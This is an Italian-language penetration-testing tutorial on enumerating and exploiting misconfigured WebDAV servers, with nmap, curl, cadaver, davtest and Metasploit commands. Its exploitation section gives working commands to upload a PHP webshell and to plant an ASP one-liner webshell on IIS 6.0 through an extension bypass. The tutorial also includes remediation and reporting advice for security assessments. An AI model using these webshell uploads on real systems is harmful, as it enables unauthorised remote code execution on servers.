Tutorials

poi puoi usare comandi come: ls, put, get, delete

WEBDAV - GUIDA COMPLETA PER L'ENUMERAZIONE E L'EXPLOITATION ---

#exploitation#windows#web

WEBDAV - GUIDA COMPLETA PER L'ENUMERAZIONE E L'EXPLOITATION


✅ Cos'è WebDAV?

WebDAV (Web Distributed Authoring and Versioning) è un'estensione del protocollo HTTP/HTTPS che consente agli utenti di gestire file su server remoti. È comunemente utilizzato per condividere file su una rete o server web.

  • Porte standard: 80 (HTTP), 443 (HTTPS)
  • Servizi tipici: Microsoft IIS, Apache con mod_dav
  • Permette: upload, download, modifica, cancellazione, creazione directory

⚠️ Perché può essere vulnerabile?

1. Autenticazione debole o assente 2. Permessi di scrittura abilitati per utenti anonimi 3. Mancanza di controlli su file eseguibili (es. upload di script PHP, ASP, ecc.) 4. Servizi obsoleti (es. IIS 6.0 WebDAV)


🔎 Riconoscimento e Rilevamento

✅ 1. Enumerazione con Nmap

bash
nmap -p 80,443 --script http-methods,http-iis-webdav-vuln <target>
  • http-methods: mostra i metodi HTTP abilitati (es. PUT, DELETE)
  • http-iis-webdav-vuln: rileva vulnerabilità conosciute su IIS WebDAV

✅ 2. Controllare i metodi HTTP manualmente

bash
curl -X OPTIONS http://<target>

Output di esempio:

bash
Allow: OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, COPY, MOVE

Se PUT/DELETE/PROPFIND/COPY/MOVE sono abilitati, il server potrebbe essere vulnerabile.


🚧 Strumenti utili per WebDAV

▶️ cadaver

Interfaccia a riga di comando per interagire con server WebDAV.

bash
cadaver http://<target>/

poi puoi usare comandi come: ls, put, get, delete

▶️ davtest

Strumento di auditing per testare permessi di upload su server WebDAV.

bash
davtest -url http://<target>/

▶️ Metasploit

bash
use auxiliary/scanner/http/webdav_scanner
set RHOSTS <target>
run

⚠️ Exploitation

1. Upload file webshell (se il metodo PUT è abilitato):

bash
curl -T shell.php http://<target>/shell.php

2. Esecuzione della webshell:

bash
http://<target>/shell.php

3. Bypass estensione su IIS

  • IIS 6.0 accetta file .asp;.txt, esegue comunque come ASP
bash
curl -X PUT "http://<target>/shell.asp;.txt" -d "<% Execute(Request("cmd")) %>"

📃 Reportistica (Esempio)

  • Servizio: WebDAV
  • Porta: 80
  • Metodi Abilitati: OPTIONS, GET, PUT, DELETE
  • Vulnerabilità: Upload non autenticato di file arbitrari
  • Impatto: Possibilità di eseguire codice remoto via webshell
  • Rimedi: Disabilitare metodi pericolosi, usare autenticazione forte, patchare il servizio

📅 Checklist

  • Enumerazione metodi HTTP
  • Scansione con nmap/metasploit
  • Test upload con davtest/curl
  • Verifica esecuzione file
  • Report finale

🔍 Note Finali

WebDAV è spesso trascurato nei test di sicurezza, ma se mal configurato può offrire un punto d'ingresso molto potente. L'enumerazione accurata e il controllo dei metodi HTTP sono fondamentali in qualsiasi assessment professionale.